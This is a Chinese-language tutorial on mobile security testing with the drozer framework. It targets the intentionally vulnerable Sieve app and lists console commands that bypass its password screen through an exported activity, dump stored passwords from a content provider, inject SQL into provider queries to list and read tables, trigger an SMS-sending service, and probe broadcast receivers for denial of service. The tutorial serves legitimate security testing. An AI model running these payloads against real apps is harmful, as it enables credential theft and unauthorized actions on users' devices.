安全測試|移動端安全測試drozer
手機應用的快速增長,手機應用安全成為一個熱門的話題,android的安全問題有一大部分的原因是因為android的元件暴露、許可權使用不當導致的。
“
隨著網際網路應用的普及和人們對網際網路的依賴,網際網路的安全問題也日益凸顯。接下來的小編將帶您進入安全測試。
”
一、android四大元件
什麼是安卓應用元件?安卓主要由四大元件組成,Activity、Service、Content Providers、Broadcast Receivers.
Activity:是一個應用程式的元件,一個activity對應一個介面,是與使用者進行互動的。
Activity形態:
Active/Running:
Activity處於活動狀態,此時Activity處於棧頂,是可見狀態,可與使用者進行互動。
Paused:
當Activity失去焦點時,或被一個新的非全屏的Activity,或被一個透明的Activity放置在棧頂時,Activity就轉化為Paused狀態。但我們需要明白,此時Activity只是失去了與使用者互動的能力,其所有的狀態資訊及其成員變數都還存在,只有在系統記憶體緊張的情況下,才有可能被系統回收掉。
Stopped:
當一個Activity被另一個Activity完全覆蓋時,被覆蓋的Activity就會進入Stopped狀態,此時它不再可見,但是跟Paused狀態一樣保持著其所有狀態資訊及其成員變數。
Killed:
當Activity被系統回收掉時,Activity就處於Killed狀態。
Activity會在以上四種形態中相互切換,至於如何切換,這因使用者的操作不同而異。瞭解了Activity的4種形態後,我們就來聊聊Activity的生命週期。
Service:Service通常位於後臺執行,它一般不需要與使用者互動,因此Service元件沒有圖形使用者介面。Service元件需要繼承Service基類。Service元件通常用於為其他元件提供後臺服務或監控其他元件的執行狀態。
Content Providers:Content Provider用於儲存和獲取資料,並使其對所有應用程式可見。這是不同應用程式間共享資料的唯一方式,因為android沒有提供所有應用共同訪問的公共儲存區。只有需要在多個應用程式間共享資料是才需要內容提供者。
Broadcast Receivers:廣播接收器沒有使用者介面。然而,它們可以啟動一個activity或service來響應它們收到的資訊,或者用NotificationManager來通知使用者。通知可以用很多種方式來吸引使用者的注意力,例如閃動背燈、震動、播放聲音等。一般來說是在狀態列上放一個持久的圖示,使用者可以開啟它並獲取訊息。
二、環境搭建
android sdk;
adb 安裝;
jdk安裝,這裡需要是喲啊能1.7以下的jdk,使用1.8的會報錯,drozer暫不支援1.8的jdk
drozer安裝:
Drozer是一個常用的測試框架,它可以分為2個部分,一個是console-它執行在本地的計算機上,一個是server-它執行在android裝置上。當你使用console與android裝置互動時,基本上就是java程式碼輸入到執行在實際裝置上的drozer代理(agent)中。
drozer下載:https://labs.mwrinfosecurity.com/tools/drozer/ 下載drozer(msi)、agent.apk
Drozer安裝:windows下點選msi直接安裝
agent安裝:在測試機上安裝agent.apk
sieve安裝:下載sieve.apk,該apk是用來作為被測試的app
三、drozer驗證
1.開啟cmd,執行adb forward tcp:31415 tcp:31415,如圖所示
2.在Android裝置上開啟Drozer Agent,如圖所示:
此時可以看到enable是綠色的了。
3.在pc端cmd切換到drozer安裝目前,然後執行 drozer console connect,如圖所示:
四、測試
1.獲取要測試應用的包名
dz>run app.package.list -f sieve ,-f它是模糊匹配,匹配包名中的任一欄位,會列出包含該欄位的所有包名
2.獲取應用的基本資訊
dz>run app.package.info -a com.mwr.example.sieve ,檢視該apk詳細資訊,可以看到應用的版本資訊,資料儲存的目錄,使用者ID,組ID,是否有共享庫,還有許可權資訊等
3.確定存在可能被攻擊的介面
dz>run app.package.attacksurface com.mwr.example.sieve
顯示了潛在可以被利用的元件個數: “exported”表示元件可以被其他App使用, services is debuggable表示我們可以用adb繫結一個偵錯程式到程序。暴露出來的3個activity,2個content provider,2個可以被adb繫結的service。
4.activity測試
(1)獲取activity資訊
dz>run app.activity.info -a com.mwr.example.sieve
可以看到有三個介面是可以被利用的。
(2)啟動activity
dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
通過app.activity.start命令可以不需要密碼直接進入passwordList介面
5.Content Provider測試
(1)獲取Content Provider資訊
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(資料洩露)
先獲取所有可以訪問的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
獲取各個Uri的資料:
dz>run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到資料說明存在漏洞
可以看到此時有一條資料,該條資料是之前在app新增的資料。這裡暴露了service、username、password、email的資訊。
(3)Content Providers(SQL注入)
content provider的具體資訊,包括名字,許可權,訪問路徑等
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
報錯則說明存在SQL注入,我們可以繼續查詢看看有哪些資料。
列出所有表:
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"
獲取某個表(如Key)中的資料:
dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同時檢測SQL注入和目錄遍歷
dz>run scanner.provider.injection -a com.mwr.example.sieve
5.service測試
(1)獲取service詳情
dz>run app.service.info -a com.mwr.example.sieve
(2)許可權提升
dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
6.broadcast receive測試
(1)檢視暴露的廣播元件資訊:
dz>run app.broadcast.info -a com.package.name
獲取broadcast receivers資訊
dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX
(2)嘗試拒絕服務攻擊檢測,向廣播元件傳送不完整intent(空action或空extras):
dz>run app.broadcast.send 通過intent傳送broadcast receiver
Drozer之所以稱之為框架(framework),因為它允許你編寫自己的模組或者外掛,擴充套件你的功能讓它試用你的功能。它的另外一個作用是,它本質上市一個不需要任何許可權的android app—這實際上是它的元件。